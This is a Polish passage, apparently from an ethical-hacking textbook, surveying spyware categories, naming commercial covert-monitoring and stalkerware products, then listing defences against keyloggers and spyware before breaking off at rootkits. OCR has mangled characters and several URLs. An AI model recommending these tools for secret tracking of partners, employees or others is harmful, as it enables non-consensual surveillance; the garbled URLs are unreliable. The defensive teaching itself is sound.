Narzedzia szpiegowskie

Spytech SpyAgent

Spytech SpyAgent to komputerowe oprogramowanie szpiegowskie, ktére pozwala monitorowac
wszystko, co uzytkownicy robig na komputerze — w catkowitej tajemnicy. SpyAgent zapewnia szerokg
game niezbednych funkcji monitorowania komputera, a takze blokowanie stron internetowych,
aplikacji i klientow czatu, planowanie rejestrowania i zdalne dostarczanie dziennikow przez e-mail lub
FTP. Jak pokazano na zrzucie ekranu, osoby atakujgce wykorzystujg Spytech SpyAgent do $ledzenia
odwiedzanych stron internetowych, przeprowadzanych wyszukiwan online, uzywanych programow i
aplikacji, informacji o plikach i drukowaniu, komunikacji e-mail, danych logowania uzytkownika itp.
docelowego systemu.

Power Spy

Power Spy to oprogramowanie do monitorowania aktywnosci uzytkownikow komputeréw PC. Dziata i
przeprowadza monitorowanie potajemnie w tle systemu komputerowego. Loguje wszystkich
uzytkownikéw w systemie, a uzytkownicy nie bedg swiadomi jego istnienia. Jak pokazano na zrzutach
ekranu, osoby atakujgce uzywajg tego narzedzia do monitorowania docelowego systemu i rejestrowac
wszystkie dziatania uzytkownika, takie jak zrzuty ekranu, nacis$niecia klawiszy, uruchamiane aplikacje,
otwierane okna, odwiedzane strony internetowe, rozmowy na czacie, otwierane dokumenty itp.

Rodzaje oprogramowania szpiegujacego

Obecnie rézne programy spyware wykonujg rézne ofensywne zadania, takie jak zmiana ustawien
przegladarki, wyswietlanie reklam, gromadzenie danych itp. Chociaz wiele aplikacji spyware wykonuje
réznorodne, niegrozne dziatania, dziesie¢ gtéwnych rodzajéw oprogramowania spyware w Internecie
umozliwia atakujgcym kradng informacje o uzytkownikach i ich dziataniach, a wszystko to bez ich
wiedzy i zgody.

Oprogramowanie szpiegujgce na komputery stacjonarne

Desktop spyware to oprogramowanie, ktére umozliwia atakujgcemu uzyskanie informacji o aktywnosci
uzytkownika lub danych osobowych, przesytanie ich przez Internet do oséb trzecich bez wiedzy i zgody
uzytkownika. Dostarcza informacji o tym, co uzytkownicy sieci robili na swoich komputerach
stacjonarnych, jak i kiedy. Oprogramowanie szpiegujace dla komputeréw stacjonarnych umozliwia
atakujgcym wykonywanie nastepujgcych czynnosci:

o Nagrywanie na zywo zdalnych pulpitéow
o Nagrywanie i monitorowanie dziatan w Internecie
o Rejestrowanie uzycia oprogramowania i czaséw

o Rejestrowanie dziennika aktywnosci i przechowywanie go w jednym centralnym miejscu



o Rejestrowanie nacisnie¢ klawiszy uzytkownikéw

Ponizej znajduje sie lista programéw szpiegujacych na komputery stacjonarne i monitorujgcych dzieci:
o ActivTrak (https://activtrak.com)

o Veriato Cerebral (http://www.veriato.com)

o NetVizor (https://www.netvizor.net)

o Monitor SoftActivity (https://www.softactivity.com)

o Monitor SoftActivity TS (https://www.softactivity.com)

Oprogramowanie szpiegujgce poczty e-mail

Oprogramowanie szpiegujgce poczty e-mail to program, ktéry monitoruje, rejestruje i przekazuje
wszystkie przychodzace i wychodzgce wiadomosci e-mail. Po zainstalowaniu na komputerze, ktéry
chcesz monitorowaé, ten typ oprogramowania szpiegujgcego zapisuje kopie wszystkich
przychodzacych i wychodzacych wiadomosci e-mail i wysyta je do uzytkownika za posrednictwem
okreslonego adresu e-mail lub zapisuje informacje w lokalnym folderze na dysku monitorowanego
komputera. Dziata to w trybie ukrycia; uzytkownicy nie bedg swiadomi obecnosci oprogramowania
szpiegujgcego poczte e-mail na swoim komputerze. Jest rowniez w stanie nagrywac¢ wiadomosci
btyskawiczne.

Internetowe oprogramowanie szpiegujace

Internetowe oprogramowanie szpiegujace to narzedzie, ktére pozwala monitorowac wszystkie strony
internetowe odwiedzane przez uzytkownikow na komputerze podczas Twojej nieobecnosci. Tworzy
chronologiczny zapis wszystkich odwiedzanych adresdw URL. To automatycznie taduje sie podczas
uruchamiania systemu i dziata w trybie ukrytym, co oznacza, ze dziata w tle niewykryte. Narzedzie
rejestruje wszystkie odwiedzane adresy URL w pliku dziennika i wysyta je na okreslony adres e-mail.
Zapewnia podsumowanie ogélnego korzystania z sieci, takie jak odwiedzane strony internetowe i czas
spedzony na kazdej stronie, a takze wszystkie otwarte aplikacje wraz z datg/godzing odwiedzin.
Pozwala takze zablokowa¢ dostep do okreslonej strony internetowej lub catej witryny, okreslajac
adresy URL lub stowa kluczowe, ktére majg zostac zablokowane.

Oprogramowanie szpiegujgce do monitorowania dzieci

Oprogramowanie szpiegujgce do monitorowania dzieci umozliwia sledzenie i monitorowanie tego, co
dzieci robig na komputerze, zaréwno w trybie online, jak i offline. Zamiast zagladaé dziecku przez
ramie, mozna uzy¢ oprogramowania szpiegujgcego do monitorowania dzieci, ktére dziata w trybie
ukrycia; twoje dzieci nie bedg swiadome twojej inwigilacji. Oprogramowanie szpiegujace rejestruje
wszystkie uzywane programy i odwiedzane strony internetowe, zlicza nacisniecia klawiszy i klikniecia
myszg oraz przechwytuje zrzuty ekranu aktywnosci. Wszystkie zarejestrowane dane s dostepne
poprzez chroniony hastem interfejs sieciowy jako ukryty, zaszyfrowany plik lub mogg by¢ wystane na
okreslony adres e-mail. Pozwala to réwniez chronic dzieci przed dostepem do nieodpowiednich tresci
internetowych, ustawiajgc okreslone stowa kluczowe, ktére chcesz zablokowaé. Wysyta do ciebie alert
w czasie rzeczywistym, gdy napotka okreslone stowa kluczowe na twoim komputerze lub gdy twoje
dzieci chcg uzyska¢ dostep do nieodpowiednich tresci.

Oprogramowanie szpiegujgce do przechwytywania ekranu



Oprogramowanie szpiegujgce do przechwytywania ekranu to program, ktéry umozliwia
monitorowanie dziatat komputera poprzez wykonywanie migawek lub zrzutéw ekranu komputera, na
ktérym jest zainstalowany program. Migawki te s3 wykonywane lokalnie lub zdalnie w okreslonych
odstepach czasu i zapisywane w ukrytym pliku na dysku lokalnym lub wysytane na adres e-mail lub
witryne FTP zdefiniowang przez osobe atakujacg. Oprogramowanie szpiegujgce do przechwytywania
ekranu jest w stanie nie tylko robi¢ zrzuty ekranu, ale takze rejestrowaé nacisniecia klawiszy, aktywnos¢
myszy, adresy URL odwiedzanych witryn i dziatania drukarki w czasie rzeczywistym. Uzytkownik moze
zainstalowac ten program lub oprogramowanie na komputerach w sieci, aby monitorowaé dziatania
wszystkich komputerow w sieci w czasie rzeczywistym, wykonujgc zrzuty ekranu. Dziata to w sposéb
przezroczysty w trybie stealth, dzieki czemu mozna monitorowaé dziatania komputera bez wiedzy
uzytkownikdéw.

Oprogramowanie szpiegujace USB

Oprogramowanie szpiegujgce USB to program przeznaczony do szpiegowania komputera, ktory
kopiuje pliki oprogramowania szpiegujgcego z urzgdzenia USB na dysk twardy bez zgdania ani
powiadomienia. Dziata w trybie ukrytym, wiec uzytkownicy nie bedg Swiadomi oprogramowania
szpiegujgcego ani nadzoru. Tworzy ukryty plik/katalog z biezaca datg i rozpoczyna proces kopiowania
w tle. Oprogramowanie szpiegujace USB zapewnia wieloptaszczyznowe rozwigzanie w dziedzinie
komunikacji USB, poniewaz moze monitorowac aktywnos$¢ urzadzen USB bez tworzenia dodatkowych
filtrow, urzadzen itp., ktédre mogtyby uszkodzi¢ strukture sterownika systemowego. Oprogramowanie
szpiegujace USB umozliwia przechwytywanie, wyswietlanie, rejestrowanie i analizowanie danych
przesytanych miedzy dowolnym urzadzeniem USB a podfagczonym komputerem i jego aplikacjami.
Umozliwia to prace nad sterownikami urzadzen lub rozwojem sprzetu, zapewniajagc w ten sposdb
potezng platforme do efektywnego kodowania, testowania i optymalizacji, a takze sprawia, ze jest
doskonatym narzedziem do debugowania oprogramowania. Szczegdtowy dziennik przedstawia
podsumowanie kazdej transakcji danych wraz z informacjami pomocniczymi. Oprogramowanie
szpiegujgce USB wykorzystuje niski poziom zasobdw systemowych komputera hosta. Dziata z wtasnym
znacznikiem czasu, aby rejestrowac wszystkie dziatania w sekwencji komunikacji. Oprogramowanie
szpiegujace USB nie zawiera zadnego oprogramowania reklamowego ani innego oprogramowania
szpiegujacego. Dziata z najnowszymi wersjami systemu Windows. Ponizej znajduje sie lista
oprogramowania szpiegujgcego USB:

o USB Analyzer (https://www.eltima.com)

0 USB Monitor (https://www.hhdsoftware.com)

o USBDeview (https://www.nirsoft.net )

o Advanced USB Port Monitor ( https://www.aggsoft.com)
o USB Monitor Pro (https://www.usb-monitor.com)
Oprogramowanie szpiegujace audio

Audio spyware to program do monitorowania dzwieku przeznaczony do nagrywania dziwieku na
komputerze. Atakujgcy moze po cichu zainstalowaé oprogramowanie szpiegujgce na komputerze, bez
zgody uzytkownika komputera i bez wysytania mu Zzadnego powiadomienia. Oprogramowanie
szpiegujgce audio dziata w tle, aby dyskretnie nagrywad. Korzystanie ze spyware audio nie wymaga
zadnych uprawnien administracyjnych. Audio spyware monitoruje i nagrywa rézine dziwieki na
komputerze, zapisujgc je w ukrytym pliku na dysku lokalnym do pdzniejszego odzyskania. Dlatego
osoby atakujace lub ztosliwi uzytkownicy uzywajg tego oprogramowania szpiegujgcego do sledzenia i



monitorowania nagran konferencji, rozmoéw telefonicznych i audycji radiowych, ktére moga zawierac
poufne informacje. Moze nagrywac i szpiegowaé wiadomosci na czacie glosowym w rdéznych
popularnych komunikatorach internetowych. Dzieki temu spyware audio ludzie mogg czuwa¢ nad
swoimi pracownikami lub dzie¢mi i dowiedzie¢ sie, z kim sie komunikujg. Pomaga monitorowac
cyfrowe urzadzenia audio, takie jak rézne komunikatory, mikrofony i telefony komdrkowe. Moze
nagrywaé¢ rozmowy audio, podstuchujgc i monitorujgc wszystko potgczenia przychodzace i
wychodzgce, wiadomosci tekstowe itp. Umozliwia monitorowanie rozméw na zywo, nagrywanie
konferencji, nadzér audio, sledzenie SMS-éw, rejestrowanie potgczen, nagrywanie dziennikéw audycji
radiowych i $ledzenie GPRS. Ponizej znajduje sie lista programow szpiegujacych audio:

o Spy Voice Recorder ( http://www.mysuperspy.com)
o Digital Voice Logger ( https://www.securityplanet.co )
o USB Stick Grey Recorder ( https://www.spytec.com)

o Audio Spyware Snooper ( https://www.snooper.se )

Oprogramowanie szpiegujace wideo

Video spyware to oprogramowanie do monitoringu wideo instalowane na komputerze docelowym bez
wiedzy uzytkownika. Wszystkie dziatania wideo moga by¢ rejestrowane zgodnie z zaprogramowanym
harmonogramem. Oprogramowanie szpiegujace wideo dziata w tle i potajemnie monitoruje i
rejestruje kamery internetowe oraz konwersje wideo za pomocg komunikatoréw internetowych.
Funkcja zdalnego dostepu oprogramowania szpiegujgcego wideo umozliwia atakujagcemu potgczenie
sie z systemem zdalnym lub docelowym w celu aktywacji alertéow i urzadzen elektrycznych oraz
przegladania nagranych obrazéw w archiwum wideo, a nawet przechwytywania obrazéw na zywo ze
wszystkich kamer podtgczonych do systemu za pomoca przegladarki internetowej takich jak Internet
Explorer. Ponizej znajduje sie lista programéw szpiegujgcych wideo:

o Movavi Video Editor ( https://www.movavi.com)

0 iSpy (https://www.ispyconnect.com)

o NET Video Spy ( https://www.sarbash.com)

o Eyeline Video Surveillance Software ( https://www.nchsoftware.com)
o WebCam Looker ( https://felenasoft.com)

Oprogramowanie szpiegujace do drukowania

Atakujgcy moga zdalnie monitorowaé¢ uzycie drukarki w docelowej organizacji za pomoca
oprogramowania szpiegujgcego do drukowania. Print spyware to oprogramowanie monitorujgce
uzycie drukarki, ktére monitoruje drukarki w organizacji. Dostarcza precyzyjnych informacji o
czynnosciach drukowania dla drukarek biurowych lub lokalnych, co pomaga w optymalizacji
drukowania, oszczedzaniu kosztow itp. Rejestruje wszystkie informacje zwigzane z czynnosciami
drukarki, zapisuje je w zaszyfrowanym dzienniku i wysyta plik dziennika do okreslonego adres e-mail
przez Internet. Raport dziennika zawiera doktadne witasciwosci zadania drukowania, takie jak liczba
wydrukowanych stron, liczbe kopii, wydrukowang tres¢ oraz date i godzine wykonania czynnosci
drukowania. Oprogramowanie szpiegujgce Print zapisuje raporty dziennika w réznych formatach do
roznych celéw, na przyktad w formacie sieciowym do wysytania raportéw na e-mail przez Internet lub



w ukrytym zaszyfrowanym formacie do przechowywania na dysku lokalnym. Wygenerowane raporty
dziennika pomogg atakujgcym w analizie dziatan drukarki. Raport dziennika pokazuje, ile dokumentéw
wydrukowat kazdy pracownik lub stacja robocza wraz z czasem. To pomaga w monitorowaniu
korzystania z drukarki i okreslania, w jaki sposdb pracownicy korzystajg z drukarki. Oprogramowanie
to umozliwia rowniez ograniczenie dostepu do drukarki. Ten raport dziennika pomaga atakujgcym
$ledzi¢ informacje o wydrukowanych dokumentach poufnych i tajnych.

Oprogramowanie szpiegujace dla telefonu/telefonu komérkowego

Oprogramowanie szpiegujgce dla telefondw/telefonéw komérkowych to narzedzie programowe,
ktére zapewnia petny dostep do monitorowania telefonu lub telefonu ofiary. Catkowicie ukryje sie
przed uzytkownikiem telefonu. Bedzie rejestrowac i rejestrowac wszystkie dziatania telefonu, takie jak
korzystanie z Internetu, wiadomosci tekstowe i rozmowy telefoniczne. Nastepnie mozesz uzyskac
dostep do zarejestrowanych informacji za posrednictwem gtéwnej strony internetowej
oprogramowania lub mozesz réwniez otrzymywac informacje o S$ledzeniu za posrednictwem
wiadomosci SMS lub e-mail. Zwykle to oprogramowanie szpiegujace pomaga monitorowac i $ledzi¢
korzystanie z telefonu przez pracownikéw. Jednak napastnicy uzywajg go do Sledzenia informacji z
telefonéw/telefonéw komérkowych ich osoby lub organizacji. Korzystanie z tego oprogramowania
szpiegujgcego nie wymaga zadnych uprawnien. Do najczestszych funkcji oprogramowania
szpiegujgcego dla telefondw/telefondw komdrkowych naleza:

o Historia potgczen: Umozliwia przegladanie catej historii potgczen telefonu (zaréwno potaczen
przychodzacych, jak i wychodzacych).

o Wyswietl wiadomosci tekstowe: Umozliwia przeglgdanie wszystkich przychodzacych i wychodzgcych
wiadomosci tekstowych. Pokazuje nawet usuniete wiadomosci w raporcie dziennika.

o Historia witryny: rejestruje catg historie wszystkich witryn odwiedzonych przez telefon w pliku
raportu dziennika.

o Sledzenie GPS: Pokazuje, gdzie znajduje sie telefon w czasie rzeczywistym. Istnieje réwniez dziennik
lokalizacji telefonu komérkowego, dzieki czemu mozna zobaczy¢, gdzie byt telefon.

Dziata tak, jak pokazano na ponizszym schemacie.
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Ponizej znajduje sie lista programdw szpiegujacych dla telefondw/telefondéw komérkowych:
o Phone Spy ( https://www.phonespysoftware.com)

0 XNSPY ( https://xnspy.com)

o iKeyMonitor ( https://ikeymonitor.com)

o OneSpy ( https://www.onespy.in )



o TheTruthSpy ( https://thetruthspy.com)
Oprogramowanie szpiegujace GPS

Oprogramowanie szpiegujgce GPS to urzadzenie lub aplikacja korzystajgca z globalnego systemu
pozycjonowania (GPS) w celu okreslenia lokalizacji pojazdu, osoby lub innego podtgczonego lub
zainstalowanego zasobu. Atakujgcy moze uzy¢ tego oprogramowania do sledzenia osoby docelowej.
To oprogramowanie szpiegujgce umozliwia sledzenie punktéw lokalizacji telefonu, zapisuje je lub
przechowuje w pliku dziennika i wysyta na podany adres e-mail. Nastepnie mozesz obserwowac punkty
lokalizacji uzytkownika docelowego, logujgc sie na okreslony adres e-mail i przegladajac pofaczone
punkty, Sledzac historie lokalizacji telefonu na mapie. Wysyta réwniez powiadomienia e-mail o alertach
dotyczacych bliskosci lokalizacji. Osoba atakujgca $ledzi lokalizacje atakowanej osoby za pomocg
oprogramowania szpiegujacego GPS, jak pokazano na ponizszym rysunku. Ponizej znajduje sie lista
programow szpiegujgcych GPS:

0 SPYERA (https://spyero.com)

o mSpy (https://www.mspy.com)

o MobiStealth (https://www.mobisteolth.com)

o FlexiSPY (https://www.flexispy.com)

o EasyGPS (https://www.eosygps.com)

Jak bronic sie przed keyloggerami

Rozne $rodki zaradcze do obrony przed keyloggerami sg nastepujgce:

* Uzywaj blokad wyskakujacych okienek i unikaj otwierania wiadomosci-Smieci.
* Zainstaluj programy antyszpiegowskie/antywirusowe i aktualizuj sygnatury.

* Zainstaluj profesjonalng zapore ogniowg i oprogramowanie zapobiegajgce keyloggerom.
* Rozpoznawaj e-maile phishingowe i usuwaj je.

* Regularnie aktualizuj i instaluj poprawki oprogramowania systemowego.

* Nie klikaj tgczy w niechcianych lub podejrzanych wiadomosciach e-mail, ktére mogg przekierowywadé
do ztosliwych witryn.

* Uzyj oprogramowania do zaktécania nacisnie¢ klawiszy, ktére wstawia losowe znaki do kazdego
nacisniecia klawisza.

* Oprogramowanie antywirusowe i antyszpiegowskie moze wykry¢ kazde zainstalowane

oprogramowanie, ale lepiej jest je wykryé przed instalacja. Doktadnie przeskanuj pliki przed
zainstalowaniem ich na komputerze i uzyj edytora rejestru lub eksploratora proceséw, aby sprawdzié
rejestratory nacisnie¢ klawiszy.

* Uzyj narzedzia utatwien dostepu z klawiatury ekranowej systemu Windows, aby wprowadzi¢ hasto
lub inne poufne informacje. Uzyj myszy, a nie klawiatury, aby wprowadzi¢ w polach dowolne
informacje, takie jak hasta i numery kart kredytowych. Dzieki temu informacje pozostajg poufne.

* Uzywaj menedzera haset do automatycznego wypetniania formularzy lub wirtualnej klawiatury, aby
wprowadzaé nazwy uzytkownikdw i hasta, poniewaz pozwala to unikngé¢ kontaktu z keyloggerami.



Automatyczny menedzer haset wypetniajagcy formularze eliminuje koniecznosé¢ wpisywania danych
osobowych, finansowych lub poufnych, takich jak numery kart kredytowych i hasta, za pomoca
klawiatury.

* Chron systemy sprzetowe w zamknietym srodowisku i czesto sprawdzaj kable klawiatury pod katem
podtaczonych ztgczy, portdw USB i gier komputerowych, takich jak gry PlayStation 2, ktére mogty
zostaé uzyte do zainstalowania oprogramowania keyloggera.

* Uzywaj oprogramowania, ktére czesto skanuje i monitoruje zmiany w systemie lub sieci.
* Zainstaluj oparty na hoscie IDS, ktéry moze monitorowac system i wytgczy¢ instalacje keyloggeréw.

* Uzyj hasta jednorazowego (OTP) lub innych mechanizméw uwierzytelniania, takich jak weryfikacja
dwuetapowa lub wieloetapowa, aby uwierzytelnia¢ uzytkownikéw.

* Wiacz biatg liste aplikacji, aby zablokowac¢ pobieranie Iub instalowanie niechcianego
oprogramowania, takiego jak keyloggery.

* Uzyj VPN, aby wigczy¢ dodatkowg warstwe ochrony poprzez szyfrowanie.

* Uzywaj narzedzi do monitorowania proceséw w celu wykrywania podejrzanych proceséw i dziatan
systemowych.

* Regularnie instaluj poprawki i aktualizuj oprogramowanie i system operacyjny.

*Unikaj korzystania z publicznych sieci Wi-Fi podczas wykonywania kluczowych czynnosci, takich jak
transakcje finansowe i sesje logowania.

* Korzystaj z licencjonowanych narzedzi do konwersji gtosu na tekst (V2T) podczas wprowadzania
haset, zamiast wpisywac je recznie.

* Sledz rozszerzenia przegladarki dziatajace w tle. Jedli zostana znalezione niechciane, niezaufane
rozszerzenia, odrzuc je lub usun z listy.

* Od czasu do czasu rekonfiguruj urzadzenie, aby unikng¢ gromadzenia sie ztosliwego oprogramowania
przy domysinych ustawieniach fabrycznych.

* Utrzymuj izolowang, zabezpieczong kopie zapasowsq plikow na oddzielnym dysku twardym, aby
unikng¢ dostepu do poufnych plikéw za pomocg keyloggerdw.

* Nie ignoruj podejrzanych dziatan, takich jak opdznienia w wyswietlaniu znakdéw, tadowanie obrazu i
powtarzajgce sie awarie podczas przegladania dowolnej witryny.

*Unikaj uzywania podobnych lub identycznych danych uwierzytelniajgcych hasta we wszystkich
osobistych urzadzeniach sieciowych, takich jak smartfony, laptopy i urzadzenia inteligentne.

* Uzyj licencjonowanych narzedzi anty-loggera innych firm do wykrywania podejrzanych dziatan przed
atakiem keyloggera.

* Uaktualnienie do laptopow lub systemdéw z ekranem dotykowym, w przypadku ktérych dziatanie
keyloggera jest trudniejsze niz w przypadku fizycznych klawiatur.

*Zastosuj przechowalnie haset innych firm, aby zapewnic bezpieczny dostep do haset do aplikacji i ich
konserwacje.



* Zabezpiecz dane dzieki odpowiedniej polityce ochrony cybernetycznej, aby ograniczy¢ katastrofalne
skutki atakéw typu keylogger.

* Utatw zadania atakujgcym, czesto zmieniajgc hasta do kont.
Srodki zaradcze Keyloggera sprzetowego
*Ogranicz fizyczny dostep do wrazliwych systemoéw komputerowych.

*Okresowo sprawdzaj interfejs klawiatury, aby upewni¢ sie, ze do ztgcza kabla klawiatury nie s3
podfaczone zadne dodatkowe komponenty.

* Uzywaj szyfrowania miedzy klawiatura a jej sterownikiem.
* Uzyj anty-keyloggera, ktéry wykrywa obecnos¢ keyloggera sprzetowego, takiego jak KeyGrabber.
* Uzywaj klawiatury ekranowej za pomocg myszy.

* Uzywaj rysikow, pisakéw swietlnych lub gestéw myszy i konwertuj grafike lub gesty na tekst, zamiast
uzywac konwencjonalnych klawiatur.

* Okresowo sprawdzaj kable monitora wideo, aby wykry¢ obecnosé keyloggerdw sprzetowych.

* Skonfiguruj nadzor wideo wokét biurka komputerowego, aby wykrywac podtgczanie ztosliwego
sprzetu.

* Wytacz porty USB lub skonfiguruj zaawansowane mechanizmy uwierzytelniania BIOS, aby wtgczy¢
porty USB.

Anty-Keyloggery

Anty-keyloggery, zwane takie rejestratorami antywtamaniowymi, wykrywajg i wylaczaja
oprogramowanie rejestrujgce nacisniecia klawiszy. Specjalna konstrukcja tych rejestratoréw pomaga
im wykrywac keyloggery programowe. Wiele duzych organizacji, instytucji finansowych, branzy gier
online i oséb prywatnych uzywa antykeyloggerédw do ochrony swojej prywatnosci podczas korzystania
z systemdéw. To oprogramowanie uniemozliwia keyloggerowi rejestrowanie kazdego nacisniecia
klawisza wpisanego przez ofiare, a tym samym zapewnia bezpieczenstwo wszystkich danych
osobowych. Anti-keylogger skanuje komputer oraz wykrywa i usuwa oprogramowanie rejestrujgce
nacisniecia klawiszy. Jesli oprogramowanie (anty-keylogger) znajdzie jakikolwiek program rejestrujgcy
nacisniecia klawiszy na komputerze, natychmiast zidentyfikuje i usunie keyloggera, niezaleznie od tego,
czy jest legalny, czy nielegalny. Niektére anty-keyloggery wykrywajg obecnos$¢ ukrytych keyloggerdw,
porownujgc wszystkie pliki na komputerze z bazg danych sygnatur keyloggeréw i szukajac
podobienistw. Inne wykrywajg obecnos¢ ukrytych keyloggerdw, chronigc sterowniki klawiatury i jadra
przed manipulacjg. Wirtualna klawiatura lub ekran dotykowy utrudnia zadanie przechwytywania
nacisnie¢ klawiszy ztosliwego oprogramowania szpiegujgcego lub trojanéw. Anti-keyloggery chronia
Twaj system przed spyware i keyloggerami.

Zemana AntilLogger

Zemana AntiLogger to aplikacja, ktéra blokuje osoby atakujgce. Wykrywa wszelkie préby modyfikacji
ustawien komputera, rejestrowania dziatan, podtgczania sie do wrazliwych proceséw komputera lub
wstrzykiwania ztosliwego kodu do systemu. Antilogger wykrywa ztosliwe oprogramowanie w
momencie, gdy atakuje Twdj system, zamiast wykrywac je na podstawie jego sygnatury.

Oto kilka przyktadéw programoéw anty-keyloggerowych:



GuardedID (https://www.strikeforcecpg.com)

KeyScrambler (https://www.qfxsoftware.com)

Oxynger KeyShield (https://www.oxynger.com)

Ghostpress (https://schiffer.tech)

SpyShelter Silent Anti Keylogger (https://www.spyshelter.com)

Jak broni¢ sie przed oprogramowaniem szpiegujacym

Oto rdzne sposoby obrony przed oprogramowaniem szpiegujgcym:

* Unikaj korzystania z jakiegokolwiek systemu komputerowego, nad ktdrym nie masz petnej kontroli.

* Unikaj ustawiania zabezpieczen internetowych na zbyt niski poziom, poniewaz stwarza to duze
szanse na zainstalowanie oprogramowania szpiegujgcego na komputerze. Dlatego zawsze ustawiaj
ustawienia zabezpieczen przeglagdarki internetowej na wysokie lub srednie, aby chroni¢ komputer
przed programami szpiegujgcymi.

* Unikaj otwierania podejrzanych wiadomosci e-mail i zatacznikdw otrzymanych od nieznanych
nadawcow.

* Postepowanie w ten sposéb wigze sie z duzym ryzykiem wprowadzenia do komputera wirusa,
oprogramowania typu freeware lub spyware.

* Unikaj otwierania nieznanych stron internetowych, do ktdrych tacza znajdujg sie w wiadomosciach
spamowych, pobieranych przez wyszukiwarki lub wyswietlanych w wyskakujgcych okienkach,
poniewaz moga one nakfonic¢ uzytkownika do pobrania oprogramowania szpiegujgcego.

* Wtgcz zapore ogniowg, aby zwiekszy¢ poziom bezpieczenstwa komputera.
* Regularnie aktualizuj oprogramowanie i korzystaj z zapory sieciowej z ochrong ruchu wychodzacego.
* Regularnie sprawdzaj raporty Menedzera zadan i Menedzera konfiguracji MS.

* Regularnie aktualizuj pliki definicji wiruséw i skanuj system w poszukiwaniu programow
szpiegujacych.

* Zainstaluj oprogramowanie antyszpiegowskie. Oprogramowanie antyszpiegowskie to pierwsza linia
obrony przed oprogramowaniem szpiegujgcym. To oprogramowanie zapobiega instalacji
oprogramowania szpiegujgcego w systemie. Okresowo skanuje i chroni system przed programami
szpiegujacymi.

* Aktualizuj system operacyjny.

* Uzytkownicy systemu Windows powinni okresowo przeprowadzac aktualizacje systemu Windows
lub firmy Microsoft.

* W przypadku uzytkownikéw innych systemdw operacyjnych lub oprogramowania nalezy zapoznac
sie z informacjami dostarczonymi przez dostawcéw systemow operacyjnych i podja¢ niezbedne kroki
w celu ochrony przed wszelkimi wykrytymi lukami w zabezpieczeniach.

* Poruszaj sie bezpiecznie po sieci i ostroznie pobieraj.



* Przed pobraniem jakiegokolwiek oprogramowania upewnij sie, ze pochodzi ono z zaufanej strony
internetowej. Przeczytaj doktadnie umowe licencyjng, ostrzezenie dotyczgce bezpieczedstwa i
oswiadczenia o ochronie prywatnosci zwigzane z oprogramowaniem, aby uzyskac petne zrozumienie
przed jego pobraniem.

* Przed pobraniem freeware lub shareware ze strony internetowej upewnij sie, ze strona jest
bezpieczna. Podobnie, bgdZ ostrozny z programami uzyskanymi za posrednictwem oprogramowania
do wymiany plikdéw P2P. Przed zainstalowaniem takich programéw wykonaj skanowanie za pomocg
oprogramowania antyszpiegowskiego.

* Unikaj korzystania z trybu administracyjnego, jesli nie jest to konieczne. Nadmierne korzystanie z
trybu administratora moze pozwoli¢ na uruchamianie ztosliwych programow, takich jak spyware w
trybie administratora. W rezultacie osoby atakujgce mogg przejgé catkowitg kontrole nad systemem.

* Unikaj pobierania bezptatnych plikow muzycznych, wygaszaczy ekranu lub emotikondw z Internetu,
ktére moga byc¢ dostarczane z oprogramowaniem szpiegujgcym.

* Uwazaj na wyskakujace okienka lub strony internetowe. Nigdy nie klikaj nigdzie w oknach, ktére
wyswietlajg komunikaty takie jak , Twodj komputer moze byé zainfekowany” lub twierdzg, ze mogg
przyspieszy¢ dziatanie komputera. Klikniecie w takie okna moze spowodowacd zainfekowanie systemu
spyware.

* Uwaznie przeczytaj wszystkie ujawnienia, w tym umowe licencyjng i oswiadczenie o ochronie
prywatnosci, przed zainstalowaniem jakiejkolwiek aplikacji.

*Unikaj przechowywania informacji osobistych lub finansowych w jakimkolwiek systemie
komputerowym, nad ktérym nie masz catkowitej kontroli, takim jak komputer w kafejce internetowej.

*Unikaj taczenia sie z nieznanymi/nieuczciwymi urzagdzeniami lub sieciami.
] y y

*Zainstaluj rozszerzenia przegladarki oparte na ochronie przed S$ledzeniem do przegladania
prywatnego.

* Sprawdz legalnos$¢ aplikacji przed przyznaniem uprawnien, takich jak lokalizacja, kamera i mikrofon.
* Dodaj do zaktadek czesto odwiedzane strony internetowe, aby bezpiecznie je przegladad.
Oprogramowanie antyszpiegowskie

Na rynku dostepnych jest wiele aplikacji chronigcych przed oprogramowaniem szpiegujgcym, ktore
skanujg system i sprawdzajg obecnos¢ oprogramowania szpiegujgcego, takiego jak ztosliwe
oprogramowanie, trojany, dialery, robaki, keyloggery i rootkity, a nastepnie usuwajag je, jesli zostang
znalezione. Oprogramowanie antyszpiegowskie zapewnia ochrone w czasie rzeczywistym, skanujgc
system w regularnych odstepach czasu, co tydzien lub codziennie. Skanuje, aby upewnié sie, ze
komputer jest wolny od ztosliwego oprogramowania.

SUPERANty spyware

SUPERANtiSpyware to aplikacja, ktéra moze wykrywac i usuwac oprogramowanie szpiegujace,
oprogramowanie reklamowe, konie trojanskie, fatszywe oprogramowanie zabezpieczajgce, robaki
komputerowe, rootkity, pasozyty i inne potencjalnie szkodliwe aplikacje.

Oto kilka przyktadédw programéw antyszpiegowskich:

Kaspersky Total Security 20 (https://support.kospersky.com)



SecureAnywhere Internet Security Complete (https://www.webroot.com)
Darmowy program antywirusowy Adaware (https://www.odowore.com)
MacScan (https://www.securemoc.com)

Norton AntiVirus Plus (https://us.norton.com)

Ukrywanie plikéw

Po tym, jak osoba atakujaca wykona ztosliwe operacje (tj. wykona ztosliwe aplikacje) w systemie
docelowym w celu uzyskania eskalowanych uprawnien, osadza i ukrywa swoje ztosliwe programy.
Atakujacy moze to zrobi¢ za pomoca rootkitdw, strumienia NTFS, technik steganografii itp., aby
uniemozliwi¢ szkodliwemu programowi dziatanie aplikacji ochronnych, takich jak aplikacje
antywirusowe, chronigce przed ztosliwym oprogramowaniem i oprogramowaniem szpiegujgcym,
zainstalowane w systemie docelowym. Tak ukryty szkodliwy plik pozwala atakujgcemu zachowac
bezposredni dostep do systemu nawet w przysztosci, bez zgody ofiary. W tej sekcji opisano rézne
techniki stosowane przez osoby atakujgce w celu ukrycia ztosliwych plikow.

Rootkity

Rootkity to programy zaprojektowane w celu uzyskania dostepu do komputera bez wykrycia. Sg to
ztosliwe oprogramowanie, ktére pomaga atakujgcym uzyskaé nieautoryzowany dostep do systemu
zdalnego i wykonywac ztosliwe dziatania. Celem rootkita jest uzyskanie uprawnien administratora do
systemu. Logujac sie jako uzytkownik root systemu, osoba atakujgca moze wykonywad rézne zadania,
takie jak instalowanie oprogramowania lub usuwanie plikow. Dziata poprzez wykorzystywanie luk w
systemie operacyjnym i jego aplikacjach. Tworzy proces logowania backdoora w systemie
operacyjnym, za pomocg ktérego osoba atakujgca moze oming¢ standardowy proces logowania. Gdy
